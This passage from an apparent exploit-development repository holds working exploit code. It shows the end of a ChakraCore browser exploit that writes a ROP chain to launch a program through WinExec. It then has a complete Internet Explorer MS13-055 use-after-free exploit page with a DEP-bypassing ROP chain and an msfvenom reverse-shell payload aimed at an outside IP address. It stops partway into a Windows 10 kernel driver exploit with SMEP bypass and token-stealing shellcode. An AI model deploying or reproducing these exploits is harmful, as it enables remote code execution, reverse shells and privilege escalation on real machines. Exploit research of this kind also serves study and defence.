178 | 	// Update the lower part of stackleakPointer to actually point to the upper stack limit (the value we leak is a stack address but is still 0xf4000 bytes from the top of the stack)
179 | 	stackLeak[0] = stackLeak[0] + 0xed000
180 | 
181 | 	// Print update
182 | 	print("[+] Stack limit: 0x" + hex(hex(stackLeak[1]) + hex(stackLeak[0])));
183 | 
184 | 	// Let's scan the stack and see if we can't find our return address
185 | 	// Return address: chakracore+0x1769940
186 | 	// We target this return address because it is so far away on the stack that we can overwrite it before it is executed
187 | 	/*
188 | 	0:000> u chakracore+0x1769940
189 | 	chakracore!JsRun+0x40 [c:\users\anon\desktop\chakracore\lib\jsrt\jsrt.cpp @ 5059]:
190 | 	00007ffa`54e89940 4883c438        add     rsp,38h
191 | 	00007ffa`54e89944 c3              ret
192 | 	*/
193 | 
194 | 	// Creating an array to store the return address because read64() returns an array of 2 32-bit values
195 | 	var returnAddress = new Uint32Array(0x4);
196 | 	returnAddress[0] = chakraLo + 0x1769940;
197 | 	returnAddress[1] = chakraHigh;
198 | 
199 | 	print("[+] Target return address (chakracore!JsRun+0x40): 0x" + hex(returnAddress[1]) + hex(returnAddress[0]));
200 | 
201 | 	// Counter for the stack scan 
202 | 	let counter = 0;
203 | 
204 | 	// Infinite scan until we find the return address
205 | 	while (true) {
206 | 
207 | 		// Store the "lower half" of the stack address in a temporary variable for offset computation
208 | 		tempStack = stackLeak[0] + counter;
209 | 
210 | 		// Store the read primitive output in a variable
211 | 		readContents = read64(tempStack, stackLeak[1])
212 | 
213 | 		// Do both the "lower" and "upper" parts of our target address correspond?
214 | 		if ((readContents[0] == returnAddress[0]) && (readContents[1] == returnAddress[1]))
215 | 		{
216 | 			print("[+] Found our target return address!");
217 | 			break;
218 | 		}
219 | 		else
220 | 		{
221 | 			// Increment
222 | 			counter += 0x8;			
223 | 		}
224 | 	}
225 | 
226 | 	
227 | 	// Create a new array with our target return address on the stack because we need 2 32-bit values
228 | 	// We will use this with our write primtive
229 | 	var stackreturnAddress = new Uint32Array(0x4);
230 | 	stackreturnAddress[0] = tempStack;
231 | 	stackreturnAddress[1] = stackLeak[1];
232 | 
233 | 	// Print update
234 | 	print("[+] Target stack address with return address to be overwritten: 0x" + hex(stackreturnAddress[1]) + hex(stackreturnAddress[0]));
235 | 
236 | 	// Corrupt the return address with 0x4141414141414141 to control RIP
237 | 	//write64(stackreturnAddress[0], stackreturnAddress[1], 0x41414141, 0x41414141);
238 | 
239 | 	// Storing the value of KERNEL32!WinExec (the lower part, because we already have the higher part in the variable kernelHigh)
240 | 	winExec = kernel32Lo + 0x67200;
241 | 
242 | 	// From here on out we control RIP
243 | 	// Let's stand up a ROP chain to invoke calc.exe via WinExec
244 | 
245 | 	// RCX: Need to create a pointer to the hex representation of calc.exe
246 | 	// RDX: 0
247 | 	// WinExec: Need to 16-byte align the stack before returning into WinExec
248 | 
249 | 	// Print update
250 | 	print("[+] Writing ROP chain to the stack...");
251 | 
252 | 	// Start ROP chain
253 | 	popRsi = kernel32Lo + 0x90ed;					// pop rsi ; ret (1 found) (kernel32.dll)
254 | 	write64(stackreturnAddress[0], stackreturnAddress[1], popRsi, kernel32High);
255 | 
256 | 	// Write next gadget
257 | 	dataAddress = kernel32Lo + 0xb3500; 			// .data address from kernel32.dll to place the term calc
258 | 	write64(stackreturnAddress[0]+0x8, stackreturnAddress[1], dataAddress, kernel32High);
259 | 
260 | 	// Write next gadget
261 | 	popRbx = kernel32Lo + 0x1398; 					// pop rbx ; ret (1 found) (kernel32.dll)
262 | 	write64(stackreturnAddress[0]+0x10, stackreturnAddress[1], popRbx, kernel32High);	
263 | 
264 | 	// Write next gadget (value of calc technically)
265 | 	calc = 0x636c6163; 								// clac (calc after little endian)
266 | 	write64(stackreturnAddress[0]+0x18, stackreturnAddress[1], calc, 0x00000000);
267 | 
268 | 	// Write next gadget
269 | 	movRsi = kernel32Lo + 0x1d5fc;					// 0x77f3bff418 ; mov rbx, qword [rsp+0x30] ; mov rsi, qword [rsp+0x38] ; add rsp, 0x20 ; pop rdi ; ret (1 found) (kernel32.dll)
270 | 	write64(stackreturnAddress[0]+0x20, stackreturnAddress[1], movRsi, kernel32High);
271 | 
272 | 	// Padding for add rsp and pop rdi in above gadget
273 | 	write64(stackreturnAddress[0]+0x28, stackreturnAddress[1], 0x41414141, 0x41414141);
274 | 	write64(stackreturnAddress[0]+0x30, stackreturnAddress[1], 0x41414141, 0x41414141);
275 | 	write64(stackreturnAddress[0]+0x38, stackreturnAddress[1], 0x41414141, 0x41414141);
276 | 	write64(stackreturnAddress[0]+0x40, stackreturnAddress[1], 0x41414141, 0x41414141);
277 | 	write64(stackreturnAddress[0]+0x48, stackreturnAddress[1], 0x41414141, 0x41414141);
278 | 
279 | 	// Write next gadget
280 | 	popRcx = chakraLo + 0x2fae2c;					// pop rcx ; ret (1 found) (chakracore.dll)
281 | 	write64(stackreturnAddress[0]+0x50, stackreturnAddress[1], popRcx, chakraHigh);
282 | 
283 | 	// Write next gadget (.data address)			// .data address from kernel32.dll containing calc string
284 | 	write64(stackreturnAddress[0]+0x58, stackreturnAddress[1], dataAddress, kernel32High);
285 | 
286 | 	// Write next gadget
287 | 	popRdx = chakraLo + 0x40382;					// pop rdx ; ret (1 found) (chakracore.dll)
288 | 	write64(stackreturnAddress[0]+0x60, stackreturnAddress[1], popRdx, chakraHigh);
289 | 
290 | 	// Write next gadget (place 0 into RDX)
291 | 	write64(stackreturnAddress[0]+0x68, stackreturnAddress[1], 0x00000000, 0x00000000);
292 | 
293 | 	// Write next gadget (ROP NOP To ensure 0x10-byte aligned stack)
294 | 	ropNop = chakraLo + 0x608fa4;
295 | 	write64(stackreturnAddress[0]+0x70, stackreturnAddress[1], ropNop, chakraHigh);
296 | 
297 | 	// Print update
298 | 	print("[+] Returning into kernel32!WinExec! calc.exe incoming!");
299 | 
300 | 	// Return into WinExec
301 | 	write64(stackreturnAddress[0]+0x78, stackreturnAddress[1], winExec, kernel32High);
302 | }
303 | 
304 | main();
305 | 


--------------------------------------------------------------------------------
/Browser/MS13-055.html:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  3 | <meta><?IMPORT namespace="t" implementation="#default#time2"></meta>
  4 |   <script>
  5 | 
  6 |     window.onload = function() {
  7 | 
  8 |       // Create the fake vftable of 70 DWORDS (70 "functions")
  9 |       vftable = "\u07be\u74fb";                   // add esp, 0xC ; ret (74fb07be) (mshtml.dll)
 10 | 
 11 |       for (i=0; i < 0x70/4; i++)
 12 |       {
 13 |         // This is where execution will reach when the fake vtable is indexed, because the use-after-free vulnerability is the result of a virtaul function being fetched at [eax+0x70]
 14 |         // which is now controlled by our own chunk
 15 |         if (i == 0x70/4-1)
 16 |         {
 17 |           vftable+= unescape("\ua1ea\u74c7");     // xchg eax, esp ; ret (74c7a1ea) (mshtml.dll) Get control of the stack
 18 |         }
 19 |         else if (i == 0x68/4-1)
 20 |         {
 21 |           vftable += unescape("\u07be\u74fb");    // add esp, 0xC ; ret (74fb07be) (mshtml.dll) When execution reaches here, jump over the xchg eax, esp ; ret gadget and into the full ROP chain
 22 |         }
 23 |         else
 24 |         {
 25 |           vftable+= unescape("\u7738\u7503");     // ret (75037738) (mshtml.dll) Keep perform returns to increment the stack, until the final add esp, 0xC ; ret is hit
 26 |         }
 27 |       }
 28 | 
 29 |       // ROP chain
 30 |       rop = "\u9090\u9090";                       // Padding for the previous ROP gadget (add esp, 0xC ; ret)
 31 | 
 32 |       // Our ROP chain begins here
 33 |       rop += "\ud937\u74e7";                     // push esp ; pop eax ; ret (74e7d937) (mshtml.dll) Get a stack address into a controllable register
 34 |       rop += "\u9d55\u74c2";                     // pop edx ; ret (74c29d55) (mshtml.dll) Prepare EDX for COP gadget
 35 |       rop += "\u07be\u74fb";                     // add esp, 0xC ; ret (74fb07be) (mshtml.dll) Return back to the stack and jump over the return address form previous COP gadget
 36 |       rop += "\udfbc\u74db";                     // mov ecx, eax ; call edx (74dbdfbc) (mshtml.dll) Place EAX, which contains a stack address, into ECX
 37 |       rop += "\u9090\u9090";                     // Padding to compensate for previous COP gadget
 38 |       rop += "\u9090\u9090";                     // Padding to compensate for previous COP gadget
 39 |       rop += "\u9365\u750c";                     // add esp, 0x18 ; pop ebp ; ret (750c9365) (mshtml.dll) Jump over parameter placeholders into ROP chain
 40 | 
 41 |       // Parameter placeholders
 42 |       // The Import Address Table of mshtml.dll has a direct pointer to VirtualProtect 
 43 |       // 74c21308  77e250ab kernel32!VirtualProtectStub
 44 |       rop += "\u1308\u74c2";                     // kernel32!VirtualProtectStub IAT pointer
 45 |       rop += "\u1111\u1111";                     // Fake return address placeholder
 46 |       rop += "\u2222\u2222";                     // lpAddress (Shellcode address)
 47 |       rop += "\u3333\u3333";                     // dwSize (Size of shellcode)
 48 |       rop += "\u4444\u4444";                     // flNewProtect (PAGE_EXECUTE_READWRITE, 0x40)
 49 |       rop += "\u5555\u5555";                     // lpflOldProtect (Any writable page)
 50 | 
 51 |       // Arbitrary write gadgets to change placeholders to valid function arguments
 52 |       rop += "\u9090\u9090";                     // Compensate for pop ebp instruction from gadget that "jumps" over parameter placeholders
 53 | 
 54 |       // Arbitrary write gadgets to change placeholders to valid function arguments
 55 |       rop += "\udfee\u74e7";                     // add eax, 0x18 ; ret (74e7dfee) (mshtml.dll) EAX is 0x18 bytes away from the parameter placeholder for VirtualProtect
 56 |       rop += "\udfbc\u74db";                     // mov ecx, eax ; call edx (74dbdfbc) (mshtml.dll) Place EAX into ECX (EDX still contains our COP gadget)
 57 |       rop += "\u9090\u9090";                     // Padding to compensate for previous COP gadget
 58 |       rop += "\u9090\u9090";                     // Padding to compensate for previous COP gadget
 59 |       rop += "\uf5c9\u74cb";                     // mov eax, dword [eax] ; ret (74cbf5c9) (mshtml.dll) Dereference the stack pointer offset containing the IAT entry for VirtualProtect
 60 |       rop += "\uf5c9\u74cb";                     // mov eax, dword [eax] ; ret (74cbf5c9) (mshtml.dll) Dereference the IAT entry to obtain a pointer to VirtualProtect
 61 |       rop += "\u8d86\u750c";                     // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for VirtualProtect
 62 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 63 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 64 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 65 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 66 |       rop += "\ubfd3\u750c";                     // pop eax ; ret (750cbfd3) (mshtml.dll) Place the negative distance between the current value of ECX (which contains the fake return parameter placeholder on the stack) and the shellcode location into EAX 
 67 |       rop += "\ufb24\uffff";                     // Negative distance described above (fffffb24) (0x4dc)
 68 |       rop += "\u8cf0\u7504";                     // neg eax ; ret (75048cf0) (mshtml.dll) Place the actual distance to the shellcode into EAX
 69 |       rop += "\u4d3d\u74c2";                     // pop edi ; ret (74c24d3d) (mshtml.dll) Prepare EDI for a COP gadget 
 70 |       rop += "\u07be\u74fb";                     // add esp, 0xC ; ret (74fb07be) (mshtml.dll) Return back to the stack and jump over the return address form previous COP gadget
 71 |       rop += "\uc0c8\u7512";                     // mov ebx, eax ; call edi (7512c0c8) (mshtml.dll) Place the distance to the shellcode into EBX
 72 |       rop += "\u9090\u9090";                     // Padding to compensate for previous COP gadget
 73 |       rop += "\u9090\u9090";                     // Padding to compensate for previous COP gadget
 74 |       rop += "\u9449\u750c";                     // mov eax, ecx ; ret (750c9449) (mshtml.dll) Get the return address parameter placeholder stack address back into EAX
 75 |       rop += "\u5a6c\u74ce";                     // add eax, ebx ; ret (74ce5a6c) (mshtml.dll) Place the address of the shellcode into EAX
 76 |       rop += "\u8d86\u750c";                     // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for the fake return address, with the address of the shellcode
 77 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 78 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 79 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 80 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
 81 |       rop += "\u8d86\u750c";                     // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for the fake return address, with the address of the shellcode
 82 |       rop += "\ubfd3\u750c";                     // pop eax ; ret (750cbfd3) (mshtml.dll) Place the negative representation of 0x401 in EAX
 83 |       rop += "\ufbff\uffff";                     // Value from above
 84 |       rop += "\u8cf0\u7504";                     // neg eax ; ret (75048cf0) (mshtml.dll) Place the actual size of the shellcode in EAX
 85 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
 86 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
 87 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
 88 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
 89 |       rop += "\u8d86\u750c";                     // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for dwSize, with the size of our shellcode
 90 |       rop += "\ubfd3\u750c";                     // pop eax ; ret (750cbfd3) (mshtml.dll) Place the negative representation of 0x40 (PAGE_EXECUTE_READWRITE) in EAX
 91 |       rop += "\uffc0\uffff";                     // Value from above
 92 |       rop += "\u8cf0\u7504";                     // neg eax ; ret (75048cf0) (mshtml.dll) Place the actual memory constraint PAGE_EXECUTE_READWRITE in EAX
 93 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
 94 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
 95 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
 96 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
 97 |       rop += "\u8d86\u750c";                     // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for flNewProtect, with PAGE_EXECUTE_READWRITE
 98 |       rop += "\ubfd3\u750c";                     // pop eax ; ret (750cbfd3) (mshtml.dll) Place a writable .data section address into EAX for lpflOldPRotect
 99 |       rop += "\uc010\u7515";                     // Value from above (7515c010)
100 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
101 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
102 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
103 |       rop += "\uc4d4\u74e4";                     // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
104 |       rop += "\u8d86\u750c";                     // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for lpflOldProtect, with an address that is writable
105 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
106 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
107 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
108 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
109 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
110 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
111 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
112 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
113 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
114 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
115 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
116 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
117 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
118 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
119 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
120 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
121 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
122 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
123 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
124 |       rop += "\ue715\u74fb";                     // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
125 |       rop += "\u9449\u750c";                     // mov eax, ecx ; ret (750c9449) (mshtml.dll) Get the stack address of VirtualProtect into EAX
126 |       rop += "\ua1ea\u74c7";                     // xchg esp, eax ; ret (74c7a1ea) (mshtml.dll) Kick off the function call
127 | 
128 |       // Placeholder for the needed size of our ROP chains
129 |       // The value subtracted from 0x500/4 is the number of DWORDS in the ROP variable (e.g. the number of ROP gadgets)
130 |       for(i=0; i < 0x500/4 - 0x4c; i++)
131 |       {
132 |         rop += "\u9090\u9090";
133 |       }
134 | 
135 |       // Make the first 10 DWORDS of the shellcode a NOP sled
136 |       shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090";
137 | 
138 |       // msfvenom -p windows/shell_reverse_tcp LHOST=172.16.55.155 LPORT=443 -f js_le -b "\x00\x0a\x0d"
139 |       shellcode += unescape("%uc7db%u28bf%ud6fa%ud902%u2474%u5af4%uc929%u52b1%uc283%u3104%u137a%u5203%u34e9%u5ef7%u3be5%u9ef8%u5bf6%u7b70%u5bc7%u08e6%u6c78%u5c6c%u0775%u7420%u650e%u7bed%uc0a7%ub2cb%u7838%ud52f%u83ba%u357c%u4b82%u3471%ub6c3%u6478%ubd9c%u982f%u88a9%u13f3%u1de1%uc074%u1cb2%u5755%u46c8%u5675%uf31d%u403c%u3e42%ufbf6%ub4b0%u2d09%u3589%u10a5%uc425%u55b7%u3782%uafc2%ucaf0%u74d5%u108a%u6e53%ud22c%u4ac3%u37cc%u1995%ufcc2%u45d1%u03c7%ufe35%u88f3%ud0b8%uca75%uf49e%u88de%uadbf%u7fba%uadbf%udf64%ua665%u3489%ue514%uf9c5%u1515%u9616%u662e%u3924%ue085%ub204%uf703%ue96b%u67f4%u1292%uae05%u4651%ud855%ue770%u183e%u327c%u4890%uedd2%u3851%u5d92%u523a%u811d%u5d5a%uaaf7%ua4f1%u7890%u9115%ue9fb%udd14%u52fa%u3b91%ub496%u94f4%u2c0f%u6e5d%ub1b1%u0b4b%u3af1%uec78%ucabc%ufef5%u3b29%u5c40%u44ff%uc87e%ud663%u08e5%ucbed%u5fb1%u3aba%u35c8%u6456%u2b62%uf0ab%uef4d%uc170%uee50%u7df5%ue077%u7ec3%u5433%u289c%u02ed%u835a%ufc5f%u7834%u6836%ub2c0%uee89%u9ecd%u0e7f%u777f%u31c6%u1fb0%u4ace%ubfac%u8131%ucf74%u8b7b%u58dd%u5e22%u055c%ub5d5%u30a3%u3f56%uc75c%u4a46%u83");
140 | 
141 |       // Combine everything
142 |       vftable += rop + shellcode;
143 | 
144 |       // This creates an array of strings that get pointers created to them by the values property of t:ANIMATECOLOR (so technically these will become an array of pointers to strings)
145 |       // Just make sure that the strings are semicolon seperated (the first element, which is our fake vftable, doesn't need to be prepended with a semicolon)
146 |       // The first pointer in this array of pointers is a pointer to the fake vftable, constructed with the above for loops. Each ";vftable" string is prepended to the longer 0x70 byte fake vftable, which is the first pointer/DWORD
147 |       for(i=0; i<25; i++)
148 |       {
149 |         vftable += ";vftable";
150 |       }
151 | 
152 |       // Trigger the UAF
153 |       var x  = document.getElementById("a");
154 |       x.outerText = "";
155 | 
156 |       /*
157 |       // Create a string that will eventually have 104 non-unicode bytes
158 |       var fillAlloc = "\u4141\u4141";
159 |       // Strings in JavaScript are in unicode
160 |       // \u unescapes characters to make them non-unicode
161 |       // Each string is also appended with a NULL byte
162 |       // We already have 4 bytes from the fillAlloc definition. Appending 100 more bytes, 1 DWORD (4 bytes) at a time, compensating for the last NULL byte
163 |       for (i=0; i < 100/4-1; i++)
164 |       {
165 |         fillAlloc += "\u4242\u4242";
166 |       }
167 |       // Create an array and add it as an element
168 |       // https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
169 |       // DOM elements can be created with a property set to the payload
170 |       var newElement = document.createElement('img');
171 |       newElement.title = fillAlloc;
172 |       */
173 | 
174 |       try {
175 |         a = document.getElementById('anim');
176 |         a.values = vftable;
177 |       }
178 |       catch (e) {};
179 |   }
180 | 
181 |   </script>
182 |     <table>
183 |       <tr>
184 |         <div>
185 |           <span>
186 |             <q id='a'>
187 |               <a>
188 |                 <td></td>
189 |               </a>
190 |             </q>
191 |           </span>
192 |         </div>
193 |       </tr>
194 |     </table>
195 |     <t:ANIMATECOLOR id="anim"/>
196 | </html>
197 | 


--------------------------------------------------------------------------------
/Kernel/Arbitrary Memory Overwrites/README.md:
--------------------------------------------------------------------------------
1 | Arbitrary Memory Overwrites
2 | ---
3 | 
4 | 1. x86 Windows 7 SP1 Arbitrary Overwrite
5 | 2. x64 Windows 8.1 Arbitrary Overwrite (No SMEP bypass)
6 | 3. x64 Windows 10 RS1 Arbitrary Overwrite (SMEP bypass via PTE of shellcode overwrite)
7 | 4. x64 Windows 10 RS1 Arbitrary Overwrite (NonPagedPoolNx bypass via PTE of KUSER_SHARED_DATA + 0x800 overwrite)
8 | 


--------------------------------------------------------------------------------
/Kernel/Arbitrary Memory Overwrites/x64_HEVD_Windows_10_SMEP_Bypass_Arbitrary_Overwrite.py:
--------------------------------------------------------------------------------
  1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite/SMEP Enabled)
  2 | # Windows 10 RS1
  3 | # Author: Connor McGarr
  4 | 
  5 | import struct
  6 | import sys
  7 | import os
  8 | from ctypes import *
  9 | 
 10 | kernel32 = windll.kernel32
 11 | ntdll = windll.ntdll
 12 | psapi = windll.Psapi
 13 | 
 14 | # Fist structure, for obtaining nt!MiGetPteAddress+0x13 value
 15 | class WriteWhatWhere_PTE_Base(Structure):
 16 |     _fields_ = [
 17 |         ("What_PTE_Base", c_void_p),
 18 |         ("Where_PTE_Base", c_void_p)
 19 |     ]
 20 | 
 21 | # Second structure, for obtaining the control bits for the PTE
 22 | class WriteWhatWhere_PTE_Control_Bits(Structure):
 23 |     _fields_ = [
 24 |         ("What_PTE_Control_Bits", c_void_p),
 25 |         ("Where_PTE_Control_Bits", c_void_p)
 26 |     ]
 27 | 
 28 | # Third structure, to overwrite the U (user) PTE control bit to an S (supervisor/kernel) bit
 29 | class WriteWhatWhere_PTE_Overwrite(Structure):
 30 |     _fields_ = [
 31 |         ("What_PTE_Overwrite", c_void_p),
 32 |         ("Where_PTE_Overwrite", c_void_p)
 33 |     ]
 34 | 
 35 | # Fourth structure, to overwrite HalDispatchTable + 0x8 with kernel mode shellcode page
 36 | class WriteWhatWhere(Structure):
 37 |     _fields_ = [
 38 |         ("What", c_void_p),
 39 |         ("Where", c_void_p)
 40 |     ]
 41 | 
 42 | # Token stealing payload
 43 | payload = bytearray(
 44 |     "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
 45 |     "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
 46 |     "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
 47 |     "\x48\x8B\x9B\xF0\x02\x00\x00"                      # mov rbx,[rbx+0x2f0] ; ActiveProcessLinks
 48 |     "\x48\x81\xEB\xF0\x02\x00\x00"                      # sub rbx,0x2f0       ; Go back to current process
 49 |     "\x48\x8B\x8B\xE8\x02\x00\x00"                      # mov rcx,[rbx+0x2e8] ; UniqueProcessId (PID)
 50 |     "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
 51 |     "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
 52 |     "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
 53 |     "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
 54 |     "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
 55 |     "\x48\x31\xC0"                                      # xor rax,rax         ; set NTSTATUS SUCCESS
 56 |     "\xC3"                                              # ret                 ; Done!
 57 | )
 58 | 
 59 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying the shellcode in that region.
 60 | print "[+] Allocating RWX region for shellcode"
 61 | ptr = kernel32.VirtualAlloc(
 62 |     c_int(0),                         # lpAddress
 63 |     c_int(len(payload)),              # dwSize
 64 |     c_int(0x3000),                    # flAllocationType
 65 |     c_int(0x40)                       # flProtect
 66 | )
 67 | 
 68 | # Creates a ctype variant of the payload (from_buffer)
 69 | c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 70 | 
 71 | print "[+] Copying shellcode to newly allocated RWX region"
 72 | kernel32.RtlMoveMemory(
 73 |     c_int(ptr),                       # Destination (pointer)
 74 |     c_type_buffer,                    # Source (pointer)
 75 |     c_int(len(payload))               # Length
 76 | )
 77 | 
 78 | # Print update statement for shellcode location
 79 | print "[+] Shellcode is located at {0}".format(hex(ptr))
 80 | 
 81 | # Creating a pointer for the shellcode (write-what-where writes a pointer to a pointer)
 82 | # Using addressof(shellcode_pointer) in Write-what-where structure #5
 83 | shellcode_pointer = c_void_p(ptr)
 84 | 
 85 | # c_ulonglong because of x64 size (unsigned __int64)
 86 | base = (c_ulonglong * 1024)()
 87 | 
 88 | print "[+] Calling EnumDeviceDrivers()..."
 89 | get_drivers = psapi.EnumDeviceDrivers(
 90 |     byref(base),                      # lpImageBase (array that receives list of addresses)
 91 |     sizeof(base),                     # cb (size of lpImageBase array, in bytes)
 92 |     byref(c_long())                   # lpcbNeeded (bytes returned in the array)
 93 | )
 94 | 
 95 | # Error handling if function fails
 96 | if not base:
 97 |     print "[+] EnumDeviceDrivers() function call failed!"
 98 |     sys.exit(-1)
 99 | 
100 | # The first entry in the array with device drivers is ntoskrnl base address
101 | kernel_address = base[0]
102 | 
103 | # Print update for ntoskrnl.exe base address
104 | print "[+] Found kernel leak!"
105 | print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
106 | 
107 | # Phase 1: Grab the base of the PTEs via nt!MiGetPteAddress
108 | 
109 | # Retrieving nt!MiGetPteAddress (Windows 10 RS1 offset)
110 | nt_mi_get_pte_address = kernel_address + 0x51214
111 | 
112 | # Print update for nt!MiGetPteAddress address 
113 | print "[+] nt!MiGetPteAddress is located at: {0}".format(hex(nt_mi_get_pte_address))
114 | 
115 | # Base of PTEs is located at nt!MiGetPteAddress + 0x13
